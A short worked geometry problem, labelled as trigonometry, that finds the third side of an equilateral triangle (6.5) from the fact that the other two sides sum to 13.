Trigonometry Question for Title 1 Schools: Third Side Question?

1) What is the value of the third side of an equilateral triangle where the two other sides have a sum of 13?

Since an equilateral triangle always has equal sides, the other 2 sides must be equal. 

So 13/2 = 6.5; so each side must be 6.5 including the third side.
